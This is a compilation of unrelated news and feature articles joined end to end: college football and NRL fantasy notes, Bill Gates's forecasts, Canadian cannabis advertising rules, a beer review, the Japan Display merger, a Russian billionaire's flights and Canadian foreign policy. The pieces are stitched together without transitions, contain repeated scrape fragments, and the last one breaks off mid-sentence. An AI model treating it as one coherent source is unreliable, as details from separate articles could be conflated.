Hoosiers vs. Utah Utes Date: Dec. 28, 8:30 p.m. ET on Fox Location: Levi's Stadium | Santa Clara, California Junior running back Devine Redding was a workhorse for Indiana with 236 carries for 1,050 yards in the 2016 regular season. Rich Graessle/Icon Sportswire Indiana Best moment: Running back Devine Redding powered Indiana into the end zone and into its second consecutive bowl game with a fourth-quarter score against rival Purdue. Beating the Boilermakers for the fourth straight year capped a six-win season and also marked only the fifth time in program history that the team won both its Big Ten rivalry games against Purdue and Michigan State. Pick the winner of all 41 bowl games this year in ESPN's Capital One Bowl Mania game and win $1,000,000! Play Now for Free! Lowest moment: Five interceptions against Wake Forest in late September led to the Hoosiers’ first loss of the season and some serious doubt about those bowl chances. With a loss in the nonconference schedule, the Hoosiers didn’t have a ton of room for error during the Big Ten season. From there, transfer quarterback Richard Lagow managed to take better care of the ball (to be fair, he did throw for nearly 500 yards in the loss) and Indiana eventually got the wins it needed. Key player: Mitchell Paige may not be the home run threat that some of Indiana’s other wide receivers present, but he’s the player that opponents would be wise to keep on their radar. He leads the team in receptions and has used his slippery running style effectively whether he’s catching passes, running sweeps or returning punts. Motivation level: High, but with coach Kevin Wilson suddenly out of the picture, it’s a wild card for the Hoosiers. Indiana has not won a bowl game since 1991, which means there’s a good chance there is no one on the Hoosiers’ roster who has been alive for a postseason victory in Bloomington. That should be enough to get the troops excited about a late December trip. -- Dan Murphy Joe Williams returned in October from a month-long "retirement" to lead the Utes' rushing attack. Russ Isabella/USA TODAY Sports Utah Best moment: The Utes trailed USC by two scores late but came storming back to grab a dramatic win. Troy Williams led a 93-yard drive to give Utah a 31-27 victory, hitting Tim Patrick for a touchdown with 16 seconds left. That September win is even more impressive in retrospect: That was the last time USC lost. Lowest moment: Oregon’s Justin Herbert threw a touchdown pass to Darren Carrington to beat Utah, 30-28, with two seconds left. That loss knocked the Utes out of the Pac-12 title race. Utah managed only 51 combined points in losses to the Ducks and California, the Pac-12’s two worst defenses -- both giving up over 40 points per game. Key player: Running back Joe Williams returned from a four-game in-season retirement to scorch box scores from mid-October until the end of the season. He racked up 1,110 yards over five games -- 222 yards per game -- in a tear that shocked many and included a 332-yard effort at UCLA. Motivation level: Questionable. The Utes were in serious Pac-12 title contention until very recently, before they suffered deflating season-ending losses to Oregon and Colorado. That made the 8-4 finish to the regular season disappointing. If Kyle Whittingham doesn’t effectively rally the troops, there’s a real chance of a bowl hangover here. -- David Lombardi -Bill Gates has been almost prophetic in his past predictions: his 1999 list was hauntingly accurate, foreseeing the advent of price comparison websites, smartphones, social media, and bots. Over the last few years, in interviews and annual letters, he has continued predicting: here are a selection of seven of his insights. 1. In the next 15 years, 33 million people could be wiped out in less than a year by a pathogen. At the Munich Security conference, Gates warned that “epidemiologists say a fast-moving airborne pathogen could kill more than 30 million people in less than a year.” This could be due to mutation, accident, or terrorist intent. While this may seem outlandish, similar events have occurred before: the most obvious example is the Black Death, which killed almost a third of Europe, but more recently, in 1918, the Spanish Flu wiped out between 50 and 100 million people. 2. Africa will become entirely self-sufficient in terms of food production. He believes Africa will achieve the goal due to a number of structural changes: First, better fertilizers and crops being developed will cause an upward spiral of greater nutrition leading to greater productivity. Second, developments in infrastructure that are already taking place, such as Ghana increasing the width of highways connecting production zones to distribution zones and Senegal removing checkpoints that cause delays. Third, as phones become more widespread, this will allow the communication of information such as weather reports and market prices. 3. The lives of the poor will be transformed by mobile banking. Electronic banking systems will allow the poor to store and protect money digitally: he said in his 2015 annual letter that “by 2030, 2 billion people who don’t have a bank account today will be storing money and making payment with their phones.” 4. In the year 2035, poor countries will no longer exist. Gates cites how much the world has changed during his own lifetime — moving from a world segmented into the Soviet Union, the Western Allies, and “everyone else” to the world we see today — as a precedent for how much it has the potential to change. He wrote in his 2014 letter that “aid is a fantastic investment, and we should be doing more. It saves and improves lives very effectively, laying the groundwork for […] long-term economic progress.” 5. By 2030 there will be a clean energy breakthrough that will revolutionize our world. In a slightly more recent prediction, made in 2016, Gates does not name any existing method of renewable energy as the panacea, but he thinks the key is investment in young people. He has already invested $2 billion in alternative technologies. 6. Countless jobs will be lost to automation. In an interview with Quartz, Bill Gates envisages, as many industry leaders do, a world in which humans are put out of work by robots. Gates, though, has provided a possible plan of action: to tax robots in order to fund more jobs that can only be performed by humans, like taking care of the elderly or working with children. 7. Polio could be eliminated worldwide by 2019. In his 2013 Annual Letter, Gates revealed statistics showing that the prevalence of polio has been reduced from impacting millions of people in hundreds of countries to now being active in only three countries worldwide. The key, he states, is measurement: “You have to measure accurately, as well as create an environment where problems can be discussed openly so you can effectively evaluate what’s working and what’s not.” -Licensed medical marijuana producers say federal advertising rules pertaining to the drug are impeding their ability to adequately inform doctors and patients of treatment options. In November, Health Canada issued warning letters to 20 licensed producers about their advertising practices, telling them they had until Jan 12, 2015, to come into compliance with prohibitions against the advertising of cannabis laid out in the Marihuana for Medical Purposes Regulations, the Food and Drugs Act and the Narcotic Control Regulations. This means that, generally, producers' websites can only list brand names, strain names, price, cannabinoid content and contact information. They can't tout each strain's reported benefits or post photos of the drugs. All companies came into compliance by Monday, the deadline day. Story continues below advertisement Brent Zettl, the CEO of Prairie Plant Systems Inc., the parent company of CanniMed Ltd. – both of which were on the list – said his company scrubbed a number of prohibited items from the two websites. They include passages containing anecdotal evidence, a reference to "reliability" and some photos of the products, Mr. Zettl said. What remains on the clinical-looking CanniMed site is a generic, textbook description of the company's cannabis products and photos of doctors in white lab coats and product packaging – not the product itself. Mr. Zettl called the restrictions "frustrating beyond words," particularly because Prairie Plant Systems Inc. had operated with Health Canada under contract, serving as the federal department's sole supplier of medical marijuana for 13 years, up until regulations changed last March. During that time, the company had government approval to show a number of images, including those of marijuana and marijuana growth chambers, he said. "All of a sudden, they've changed their minds; marijuana plants are now not to be shown, because they might encourage somebody to use medical marijuana," he said. "My question is: What the hell are we selling? We're not selling alfalfa. Come on." Mr. Zettl said the restrictions prevent staff from fully educating doctors and prospective patients about the drug at a time when more education is needed for the market to transition to legal from illicit. Zack Hutson, a spokesman for the large-scale, Nanaimo-based medical marijuana producer Tilray, said the stringent regulations ensure the medicine for patients is "safe, pure and predictable." However, while they protect patients from false or unsubstantiated claims, "they also limit the amount of information that can be shared with physicians and patients about the differences between strains, which can help inform treatment decisions." Companies can directly provide more detailed information about a product to an individual as long as it is not disseminated to the general public. But as Mr. Zettl counters: "Who wants to become a registered patient before they can get information?" Health Canada declined to make a spokesperson available for an interview despite several requests. An e-mail from the department stated that in determining whether a message constitutes an advertisement, one must consider the context, the intended audience and who is delivering the message. Story continues below advertisement Story continues below advertisement "If the message is written by the drug manufacturer, it is more likely to be advertising," the statement said. -What makes a great lager? I wish I knew for sure. It’s a bit tricky. Lagers are renowned worldwide for their drinkability, their simplicity and — perhaps unfairly — their mediocrity. They are the beers your sports-loving uncle drinks. They’re the cheap pints, and the cans that scream ICE COLD, and the tallboys you shot-gunned in university. But where do they fit in the craft beer sphere? People who drink lager rarely want to think about what they’re drinking with any sort of depth. It’s generally a means to an end, the end most often being refreshing relaxation. Thus, it would seem a great lager would be a drink that most effectively accomplishes this, without too many frills distracting the drinker. With that in mind, craft beer brewers and drinkers alike tend to enjoy a beer which pushes the envelope a bit, maybe adding a new dimension to a well-trodden style. Is a great lager one that sticks to the formula closely, and pulls it off well? Or is it a beer that seeks to transcend its rather narrow niche and break new ground? I put two Ontario lagers that I’m quite fond of – Amsterdam Brewery’s 3 Speed and Cameron’s Brewing Captain’s Log – head-to-head to see what makes them great. They couldn’t be more different as lagers. 3 Speed is a light American-style, Captain’s Log a more hoppy European style. But they’re both good – and here’s why. Amsterdam Brewery’s 3 Speed Does “Traditional” Terrifically A light American-style lager – the description doesn’t exactly send shivers of excitement down my spine. But that’s not what it’s supposed to do. 3 Speed is a workhorse beer, one that can be consumed in larger quantities with less consideration than even their highly sessionable Cruiser. Everything that your Uncle loves about his evening “cold one” can be found in 3 Speed. A pleasant sweetness, vibrant carbonation, crisp finish, and only the lightest touch of bitterness to remind you it’s beer you’re drinking. But 3 Speed pulls it off a little better than most macro domestics. It doesn’t have that corn-syrupy sweetness of Molson, and it has a bit more character and flavor than other light beers like Bud Light. In other words, Amsterdam has deftly made a light American lager that doesn’t need to sacrifice taste entirely for drinkability. It goes down as easy as any, but there’s just a bit more substance for those that care for such things. Cameron’s Brewing Captain’s Log Skillfully Shakes Things Up If you’re as sick of crappy Euro-lagers like Stella as much as I am, you might be a little jaded. Cameron’s breathes some life into the style with their Captain’s Log lager, a wonderfully aromatic, richly-flavoured lager that breaks the mold a bit, while sticking true to its roots. Far more aromatic than the 3 Speed, Captain’s Log will turn away hard-core Bud drinkers way faster than 3 Speed would. But it balances its floral notes with a nice malt backbone, and a finish that doesn’t stray into bitter territory. Captain’s Log has the potential to convert lager-only drinkers into a broader array of styles, but it might alienate some who would appreciate the improvement of 3 Speed, but would be put off by something too different. All-in-all, I thoroughly enjoyed Captain’s Log, and it was a refreshing change from the general lineup of golden lagers I’m exposed to. *** It is possible to make a great lager, but the style is certainly harder to quantify than other types of beer. It comes down to a choice – do simple, traditional, and formulaic well with extreme consistency, or bend the rules a bit and bring something a little different than what you’d expect. No matter what you prefer, I can definitely recommend Amsterdam’s 3 Speed or Cameron’s Captain’s Log. Both are lagers I definitely think are worth sipping slow. -WASHINGTON — The commander of US air forces in the Pacific is reporting a significant increase in activities by Russian planes and ships in the region. Gen. Herbert Carlisle linked that to the situation in the Ukraine. He said Russia was demonstrating its capabilities and gathering intelligence on US military exercises. Carlisle said there had been long-range Russian air patrols to the coast of California and a circumnavigation of the US Pacific territory of Guam. He said a US F-15 fighter jet intercepted a Russian strategic bomber that had flown to Guam. Get The Times of Israel's Daily Edition by email and never miss our top stories Free Sign Up He also reported a sharp increase in Russian air patrols around Japanese islands and Korea. Carlisle said there was a lot more Russian ship activity too. He was speaking Monday at the Center for Strategic and International Studies think tank. Copyright 2014 The Associated Press. -I.O.I‘s Somi confessed that she was recently in a relationship but dumped by her boyfriend after only one week of dating. The confession came on a variety program when cast members asked Somi about her dating life and whether or not she was in a relationship. “Yes, I’ve dated in the past. He broke up with me after 1 week of dating because I couldn’t meet his expectations.” — Jeon Somi The other cast members and audience were shocked when they heard her reason, as Somi is one of the most popular K-Pop idols currently promoting in the industry. She’s proven herself to be incredibly intelligent, have a fantastic personality and her beauty doesn’t even need describing. While Somi didn’t mention that the boyfriend was recent on the show, in April 2016 she announced that she had never dated before and she wanted a boyfriend. It appears that since then, she’s experienced having a boyfriend but also heartbreak as well. -TOKYO (Reuters) - Japan’s Sony Corp, Toshiba Corp and Hitachi Ltd will merge their liquid-crystal display operations using $2.6 billion of government-backed funds to fend off growing competition from rivals in South Korea and Taiwan. Sony Corp Executive Deputy President Hiroshi Yoshioka (R), Hitachi Ltd. President Hiroaki Nakanishi (2nd R), Toshiba Corp. President and CEO Norio Sasaki (3rd R) and Innovation Network Corporation of Japan President and CEO Kimikazu Noumi pose for a photograph at their joint news conference in Tokyo August 31, 2011. REUTERS/Issei Kato The merged entity will be the world’s largest maker of small panels used in smartphones and tablet PCs, leapfrogging leaders Sharp Corp of Japan and Samsung Electronics of South Korea and keeping at bay the likes of Taiwan’s AU Optronics. Sony, Toshiba and Hitachi were all making losses on small panels until last year so the merger will allow them to focus on their main operations. However, the 90-percent government-owned fund, set up in 2009 to promote innovation in Japanese industry, could come under fire for using public money to prop up a volatile business in its biggest investment to date. The Innovation Network Corp of Japan (INCJ) will invest about 200 billion yen ($2.6 billion) in the merged unit, taking a 70 percent stake. The three firms said on Wednesday that they will each take a 10 percent stake. They aim to complete the merger by the spring of 2012 and list the merged entity, to be called Japan Display, by the financial year ending March 2016. By then, they intend to have boosted annual revenues to 750 billion yen from 570 billion yen expected in the year to March 2012. A shakeup has been long expected because harsh competition and advances in technology require producers to make regular large-scale investment. The three firms together controlled 21.5 percent of the market for small and medium-sized displays last year, larger than Sharp with 14.8 percent or Samsung Mobile with 11.9 percent, research firm DisplaySearch estimates. While all three had been loss making in small panels until last year, they were expected to pull into the black in the current financial year. They had hesitated about investing in a new line to compete against Sharp, which is due to receive a $1 billion investment from Apple Inc, or South Korean rivals LG Display and Samsung Mobile Display, which have supply agreements with key clients. Sony has been weighed down by chronic losses in its TVs, Toshiba is speeding up plans to shrink its chip business, while Hitachi has been looking to distance itself from the volatile panel business to focus on infrastructure operations. “Sharp is especially aggressive, and those who don’t have a strong customer base may struggle, given that only a handful of smartphone and tablet makers are doing well,” said Nam Dae-jong, an analyst at HI Investment & Securities. Increasing demand from smartphone and tablet PC makers has prompted panel makers to shift their focus to smaller screens. DisplaySearch says weighted average prices for mobile phone panels were 30 percent higher in the first quarter of 2011 compared with a year earlier. However, analysts predicted the shift means the industry will be oversupplied next year. “It’s not a business that will likely provide stable profits in the mid- to long term,” said Shigeo Sugawara, a senior investment manager at Sompo Japan NipponKoa Asset Management. RESTRUCTURING The INCJ is supervised by Japan’s trade ministry, which had been criticized for not supporting Japan’s chip and display industries in the early 1990s, a failure critics say allowed U.S. and South Korean firms to take the lead. “The decision reflects a growing sense of crisis in Japan in light of its falling market share in the global chip and display markets,” said a South Korean government official, who declined to be named. The INCJ will lead the recruitment of new executives to run the company, while external directors will be drawn from Sony, Toshiba, Hitachi and INCJ. How the three firms, which use two different types of display technology, will merge operations is unclear. The announcement did not include details of how they intended to deal with business overlaps either. “The parent companies have found a most convenient buyer for their factories and staff,” said Yoshihisa Toyosaki, head of Japanese research firm and consultancy Architect Grand Design. “The assets of the merged entity will be huge. Without restructuring, there is no way that this company will win against Sharp, or rivals from South Korea, Taiwan, and eventually China.” Past investments by the INCJ, which can invest up to 900 billion yen with mostly government-guaranteed funds, include a 40 percent stake in Swiss meter maker Landis+Gyr to support Toshiba’s $2.3 billion acquisition. The new display company will focus on developing next-generation displays, including thinner organic light-emitting diode displays with higher resolution, the three firms said. Hitachi has been in separate talks with Taiwan’s Hon Hai Precision Industry, better known as Foxconn Electronics Inc, about a joint venture in LCD panels, sources have said. The new Sony Tablet S2 is displayed with the Tablet S1 (rear) by company representatives during a press availability in New York in this July 13, 2011 file photo. REUTERS/Brendan McDermid Talks with the parent of Chimei Innolux Corp broke down when Hitachi failed to grab a key contract with Apple, an industry source said. Ahead of the announcement, well-flagged by media, shares in Sony closed down 1.8 percent, Toshiba fell 2.4 percent and Hitachi rose 0.5 percent. The market benchmark Nikkei average ended flat. ($1 = 76.735 Japanese Yen) -A Russian billionaire, whose jet-setting travel intersected with Donald Trump’s stops at the Charlotte and Las Vegas airports during the presidential campaign, says their intersecting paths were “pure coincidence” and nothing more. “A number of theories have been circulating about the supposed relationship between Dmitry Rybolovlev and President Donald Trump,” Sergey Chemitsyn, an adviser to the Russian billionaire, said in a statement to McClatchy. “None of these theories has any foundation in fact.” Rybolovlev’s travels prompted speculation that he was somehow shadowing Trump in yet another tie between the new president and Russia. “Mr. Rybolovlev has never met Mr. Trump personally and has no connection whatsoever to Mr. Trump or his team of advisers,” Chemitsyn said. Trump, a billionaire through real estate dealings, has also denied ever meeting the Russian, who built his fortune in the fertilizer business. Rybolovlev had previously given only a terse explanation for the coinciding flights before McClatchy published a story this week describing how their aircraft pulled into gates at the Charlotte Douglas International Airport less than an hour apart on Nov. 3, 2016. Rybolovlev’s jet landed shortly before Trump appeared at a rally in nearby Concord. Rybolovlev’s plane had first flown to the airport in Concord, N.C., and then took a 24-minute flight to Charlotte, where Rybolovlev spent the night. Chemitsyn said Rybolovlev “was in North Carolina for a business meeting, and we can state categorically that he did not have any contact with Mr. Trump or any of his advisers at the time he was there.” Rybolovlev’s aide did not disclose the nature of Rybolovlev’s business activity, but the Russian billionaire’s plane also was in Charlotte last April 21 at 1:20 p.m., according to a Charlotte man who didn’t want to be identified. He told McClatchy that he noticed the jet at the Charlotte airport and took a photo because he wanted to show his granddaughter, named Mary Kate, that her name was on a jet. The jet’s identifying registration is MKATE, which are the letters on its tail. Last Oct. 30, four days before his second Charlotte visit and on the same day that Trump was in Las Vegas, Rybolovlev’s plane landed at Las Vegas’ McCarran International Airport early in the afternoon and taxied to the private hangar of casino tycoon Sheldon Adelson, flight records obtained by McClatchy show. Rybolovlev’s plane was only on the ground for about an hour and 20 minutes, even less than the two hours reported earlier. Adelson, a major campaign benefactor for Trump, hosted a rally for the Republican presidential nominee that morning at his Venetian Resort Hotel Casino. Neither spokespeople for the Sands nor Rybolovlev would comment about why he visited Adelson’s hangar, which does not service most general aviation aircraft. Rumors about Rybolovlev’s direct or indirect relationship with Trump have swirled in part because Rybolovlev’s family trust paid $95 million in 2008 to buy a Palm Beach mansion from Trump as the global financial crisis took hold. Trump, who had purchased the property out of foreclosure for $41 million, is believed to have reaped a significant profit at a time when the global financial meltdown was hurting all real estate values and loans were tough to obtain. Chemitsyn said Rybolovlev purchased the oceanfront mansion as an investment for a cost “below the asking price and following a process of negotiation.” Trump’s initial asking price for the mansion was $125 million. Rybolovlev no sooner closed on the purchase than his marriage went sour, and his wife, Elena, filed legal papers to prevent him from selling the property. He said that he never set foot inside. Their legal spat initially yielded the largest divorce award in modern U.S. history, $4.5 billion, but that 2014 verdict was eventually reduced in an out-of-court agreement. The mansion has since been razed and the prime 6.3-acre estate divided into three parcels. One has already been sold drawing $34.34 million for 2.35 acres. Chemitsyn said “there is every prospect that (Rybolovlev’s) investment will turn out to be profitable.” Rybolovlev sold off his industrial assets a few years ago, making it difficult to gauge what assets he owns beyond his high-profile stake in the storied AS Monaco soccer club. David Newman, the attorney who represented Elena Rybolovleva in the divorce litigation, said he found tracing Rybolovlev’s assets a tough task. Newman said those assets included luxury homes and works of art that were all hidden behind layers of shell companies and trusts “so that the true identity of ownership is not obvious or clear or easy to discern — even through investigation.” “Whether it is an ex-spouse or ex-business partners, a government or creditors, people of high net worth have a lot of exposure, and it’s not unusual that they will use a lot of schemes or mechanisms to protect those assets,” said Newman, now an attorney with Sills Cummis & Gross, a large New York-area law firm. -OTTAWA—The Harper government will not mount another campaign for a seat on the UN Security Council after Canada’s historic defeat last year, says Foreign Affairs Minister John Baird. “It’s not something I envisage,” Baird told The Canadian Press, when asked whether he planned another bid for a two-year, temporary term on the powerful council in the coming years. Foreign Affairs Minister John Baird says the Conservative government will not mount another campaign for a seat on the United Nations Security Council after Canada's historic defeat last year, says Baird. ( Sean Kilpatrick / THE CANADIAN PRESS ) The often-combative rookie foreign minister was defiant and cutting in his reasoning for the decision. “Listen, I mean, we don’t go along to get along. That’s just not a phrase,” said Baird, using the oft-repeated mantra that has morphed into the mantra for his first six months as Canada’s top diplomat. Canada was trounced by Portugal last year for the second of two temporary two-year, non-veto-wielding seats on the United Nations’ top body. It was the first time in the six-decade history of the UN that Canada failed to win a seat for which it made a bid. Article Continued Below The loss sparked criticism in many quarters about whether Canada’s foreign policy under the Conservative government — perceived tilts in policy toward Israel and away from Africa and an unpopular policy on climate change, among them — may have cost the country support among a majority of the UN’s 190-plus member countries. Baird shot back at critics on all fronts in an interview shortly before Christmas. “Maybe if we had shut up, and not talked about gay rights in Africa; maybe if we had shut up and been more quiet about our concerns about Sri Lanka; maybe if we hadn’t been so vocal against the deplorable human rights record in Iran, maybe Iran might have voted for us,” Baird said. “But we didn’t and I don’t think we regret anything. Iran probably voted against us; North Korea probably voted against us; Gadhafi probably voted against us. I think those are all badges of honour.” Baird said he is especially proud of his stand against Sri Lanka’s government for not adequately investigating alleged atrocities by its military forces when they defeated the Tamil Tigers in May 2009. Critics say Baird and the Tories are playing what has been called “diaspora politics” by taking positions that may win them support in large blocs of newly arrived Canadians. Tamils, for example, number in the hundreds of thousands in key Toronto-area ridings, the population’s largest concentration outside Sri Lanka. Baird rebutted the criticism, saying: “We didn’t do it before election day.” Article Continued Below On Israel, the Conservatives have incurred the ire of Muslim and Arab-Canadian groups with what is seen as their unqualified support of Israel. Baird dismissed that as unfounded, suggesting it was a creation of the media. “It’s a principled position. If you look at our position on Israel — in my riding we have 2,800 Jews and 11,500 Muslims and Arabs. We don’t do it for political gain; we do it because we think it’s right and we believe in it.” Baird said he plans to go to Israel and the Palestinian territories in early January. He heaped praise on Palestinian Prime Minister Salam Fayyad, after meeting him earlier this year. “He is probably the world’s quietest success story. The security situation in the West Bank has improved immeasurably under his leadership,” said Baird. “We’ve been working very closely with him on that with a lot of Canadian support. On the security side, their transparency and getting rid of corruption is a gigantic accomplishment for him and the Palestinian people. The economic growth rate has improved considerably, so it’s been good news.” As for Canada being a laggard on climate change, a topic Baird raised without being asked, he said: “Travelling almost twice around the world, I’ve only had two foreign ministers raise climate change with me.” Baird added: “It’s a big issue for some; it certainly hasn’t been one that I’ve heard a lot about.” Baird said Canada remains committed to helping the Arab Spring countries — Libya and Egypt in particular — to build democratic societies that respect the rule of law. But the minister could offer few specific examples of programs. Baird reiterated the rights of Arab and Muslim women should not be trounced in the months ahead. “It’s funny because I’m not a natural champion of feminism but the role of women in North Africa, and the Middle East and the Arab Spring is tremendously important because I think it leads to not just equality, which is a Canadian value, but I think it leads to a more civil society,” he said. Read more about: -Story highlights Boats adrift off the coast of Japan or wrecked on its coast have revealed a gruesome cargo Japan's coast guard is trying to unravel the mystery of where the boats came from (CNN) An unsettling mystery has washed up on Japan's shores. Over the past two months, at least 12 wooden boats have been found adrift or on the coast, carrying chilling cargo -- the decaying bodies of 22 people, police and Japan's coast guard said. All the bodies were "partially skeletonized" -- two were found without heads -- and one boat contained six skulls, the coast guard said. The first boat was found in October, then a series of boats were found in November. A ship found in mid-November off Noto Peninsula that was towed to the shore. Coast guard officials are trying to unravel the riddle of where these ghostly boats came from and what happened to those on board. Their best guess so far is that the ships are from North Korea. Read More -Scavenger hunt in the CERN Computing Centre Hidden among the racks of servers and disks in the CERN Computing Centre, you’ll find Hawaiian dancers, space aliens, gorillas… all LEGO® figurines! These characters were placed about the Centre for the arrival of Google’s Street View team for the world to discover. PLEASE NOTE THAT THE COMPETITION IS OVER. ONLY FOR REFERENCE, HERE IS THE ORIGINAL ARTICLE. We’re pleased to announce our first global scavenger hunt! Spot three LEGO® figurines using Google’s Street View and you’ll be entered to win a gift of your choice from our CERN Gift Guide. A LEGO® figurine in the CERN Computing Centre, as seen on Google Street View. Here are the details: Find at least three LEGO ® figurines hidden around the CERN Computing Centre using Google Street View. hidden around the CERN Computing Centre using Google Street View. Take screencaps of the figurines and e-mail the pictures to TreasureHunt-ComputingCentre@cern.ch. This email is no longer active. There will be TWO winners: one from CERN and one from the general public. If you are from CERN, make sure to send your pictures from your CERN e-mail account. If you are from CERN, make sure to send your pictures from your CERN e-mail account. The competition is open until 31 January. The winners will be contacted by e-mail and will be announced in the Bulletin. Helpful hints: Try looking on top of racks and servers; these figurines won’t be hanging from the air! There are over 20 LEGO ® figurines spread across both floors of the Computing Centre. If you think you’ve looked everywhere, try the next floor. figurines spread across both floors of the Computing Centre. If you think you’ve looked everywhere, try the next floor. We’ve included a map of the Computer Centre and an example of a figurine (above) to help you get started. Wherever you are this holiday season, you’ll be able to participate in the competition. by CERN Bulletin -Tom Sangster reveals the players to pick and who to avoid in SuperCoach 2016. KEEP up to date with the weekend’s SuperCoach action in our weekend rolling coverage. Highlights, lowlights, injuries, judiciary dramas and talking points — it’s all here. Bookmark this page and keep coming back throughout the weekend so you never miss a big SuperCoach moment. STORM V WARRIORS Injuries/reports: Winger Marika Koroibete looked to have suffered a painful knee injury, only to remarkably shake-it off and play on. Young Tonumaipea suffered a knee injury. Simon Mannering could be in for a stint on the sideline after he suffered a serious cut in his mouth. Roger Tuivasa-Shecks’s replacement at fullback Tuimoala Lolohea left the field in the first half have with a knee injury and didn’t return. Talking points: In bad news for Simon Mannering owners, the reliable forward suffered a serious cut to his mouth. Before the injury he spent 44 minutes on the field where he made 28 tackles and one line break to score 34 points. Tohu Harris again proved his value from the backrow by backing up his strong performance from last week with a 90 point showing which included a try. Highlights: Prop Jesse Bromwich was influential yet again. The big man finished the game with 98 points, thanks to an unlikely try assist, a linebreak, a linebreak assist and 23 tackles. Storm skipper Cameron Smith (123 points) was at his very best from dummy half and steered the ship in attack which earned him three try assists and two forced drop outs. Lowlights: Supercoaches who were keeping an eye out for Tuimoala Lolohea would have been bitterly disappointed, after the versatile back left the field injured and only managed 3 points before doing so. Star halfback Shaun Johnson (40 points) was able to spark his side. He made 20 tackles and had two line break assists. Final teams: Storm: 1. Cameron Munster, 2. Young Tonumaipea 3. Richie Kennar 18. Suliasi Vunivalu 5. Marika Koroibete 6. Blake Green 7. Cooper Cronk 8. Jesse Bromwich 9. Cameron Smith 15. Tim Glasby 11. Kevin Proctor 12. Tohu Harris 13. Dale Finucane Interchange: 4. Ben Hampton 10. Jordan McLean 14. Kenny Bromwich 17. Nelson Asofa-Solomona Warriors: 1. Tuimoala Lolohea 2. David Fusitua 3, Blake Ayshford 4. Solomone Kata 5. Manu Vtauvei 6. Thomas Leuluai 7. Shaun Johnson 8. Sam Lisone 9. Isaac Luke 10. Ben Matulino 11. Bodene Thompson 12. Ryan Hoffman 13. Simon Mannering Interchange: 14. Jonathan Wright 15. Jacob Lillyman 16. Charlie Gubb 17. Ligi Sao ROOSTERS V DRAGONS Injuries/reports: *Sam Moa was put on report early for a late shot on Josh McCrone. *Aidan Guerra left the field for a concussion test but returned. *Mitchell Frei was put on report for a high tackle on Gareth Widdop. *Mitchell Aubusson went off for a concussion test but returned. *Jackson Hastings was put on report for a high tackle. *Mitch Rein (shoulder) went off midway through the second half and did not return. *Dylan Napa was controversially put on report for his tackle on Taane Milne inside the final few minutes. Talking points: *Jackson Hastings kept raking in those dollars with a strong 51 but it could have been even more had he not ignored a four on one overlap to go himself late in the match. *After a rough start to the season Gareth Widdop dotted down for the second week in a row for a very respectable 62. Highlights: *Aidan Guerra had another strong performance after his return to form last week and churned out 70 despite going off for a concussion test. *Jack de Belin was solid as a rock once again with an all-base 54. Lowlights: *Latrell Mitchell is the most selected player in SuperCoach but he had a day to forget, making a series of handling errors and poor passes. He scored a try in the second half to stem the damage but still scored just 32. Final team: Roosters: 1. Latrell Mitchell 21. Joe Burgess 4. Blake Ferguson 5. Shaun Kenny-Dowall 3. Brendan Elliot 19. Ryan Matterson 7. Jackson Hastings 8. Sam Moa 9. Jake Friend 10. Dylan Napa 11. Mitchell Aubusson 13. Boyd Cordner 12. Aidan Guerra. Interchange: 14. Kane Evans 15. Mitchell Frei 16. Eloni Vunakece 17. Connor Watson Young gun Jayden Nikorima is out of the Roosters side after being named in the under-20s team to play earlier on Monday afternoon. He’s been replaced at five-eighth by debutant Ryan Matterson. Daniel Tupou has been dropped for Joe Burgess and Boyd Cordner returns from injury at the expense of Isaac Liu. Dragons: 1. Josh Dugan 2, Kalifa Faifai Loa 15. Will Matthews 4. Tim Lafai 5. Jason Nightingale 6. Gareth Widdop 7. Josh McCrone 8. Leeson Ah Mau 9. Mitch Rein 10. Mike Cooper 11. Tyson Frizell 12. Joel Thompson 13. Jack de Belin Interchange: 14. Russell Packer 15. Dunamis Lui 17. Siliva Havili 19. Taane Milne Euan Aitken has failed to overcome a hamstring strain with Will Matthews to deputise in the centres early on. Rookie centre Taane Milne will make his NRL debut from the bench. KNIGHTS V SEA EAGLES Injuries/reports: * Peter Mata’utia (knee) — his return to Newcastle ended midway through the first half * Brett Stewart (hamstring) — came off early in the second half. * Jarrod Mullen (hamstring) — went down with a hamstring problem after making a break in the second half. * Tom Trbojevic (knee) — went off inside the final 10 minutes. Talking points: * Popular cheapie Brenton Lawrence saluted for his owners with a powerful stint from the bench that included a try late in the first half. He finished with a robust 70 points. * The Saifiti brothers continued their indifferent form with Daniel scoring just 27 and Jacob not faring much better with 33. Highlights: * Jake Trbojevic top scored with 96 as a typical workman like performance was capped off by a late try. * His younger brother Tom managed to cross the stripe as well and put up a nice 77. Trbojevic the younger would have come into consideration following the injury to Brett Stewart but a possible move to fullback is now off the cards after he suffered a knee injury late in the match. Lowlights: * Peter Mata’utia made his return to the Hunter after a few years with the Dragons and replaced his brother Pat at left centre. The match went poorly for the eldest of the Mata’utia clan and he scored just 16 before leaving the field. * He’s been a SuperCoach stay away for a couple of years now, but Stewart managed a mighty 3 points before he left the field early in the second half. Final teams: Knights: 1. Dane Gagai, 2. Nathan Ross, 3. Sione Mata’utia, 20. Peter Mata’utia, 5. Akuila Uate, 6. Jarrod Mullen, 7. Trent Hodkinson, 8. Sam Mataora, 9. Danny Levi, 17. David Bhana, 11. Tariq Sims, 12. Korbin Sims, 13. Jeremy Smith. Interchange: 14. Tyler Randell, 15. Josh King, 16. Jacob Saifiti, 10. Daniel Saifiti. Mid-week recruit Peter Mata’utia replaces brother Pat Mata’utia in the centres. David Bhana has been promoted to starting prop, replacing Daniel Saifiti who joins brother Jacob Saifiti on the bench. Sea Eagles: 1 Brett Stewart, 2 Brayden Wiliame, 3 Jamie Lyon, 4 Steve Matai, 5 Tom Trbojevic, 6 Dylan Walker, 19 Daly Cherry-Evans, 8 Darcy Lussick, 7 Apisai Koroisau, 10 Nate Myles, 11 Tom Symonds, 12 Martin Taupau, 13 Jake Trbojevic. Interchange: 14 Lewis Brown, 15 Addin Fonua-Blake 16 Brenton Lawrence, 17 Siosia Vave Star halfback Daly Cherry-Evans returns from a knee injury. His inclusion sees Apisai Koroisau shift to hooker and Matt Parcell drops out after failing to recover from a hamstring injury. SHARKS V PANTHERS Injuries/reports: * Waqa Blake (hip pointer) — copped a knock and didn’t return * Te Marie Martin (fractured shoulder) — didn’t return * Jayson Bukuya (concussion, round nine) — didn’t return Talking points: * Young gun Te Marie Martin (18) fractured his shoulder and is now a sell after making $130,000 for owners. * The very promising James Fisher-Harris (93) has been a slow burner this year, but produced the best performance of his young career in scoring two tries. Highlights: * Isaah Yeo (84) spent plenty of time in the centres due to injury and his attacking stats benefited. He notched a try and try assist. * The score of Andrew Fifita (68) should surge 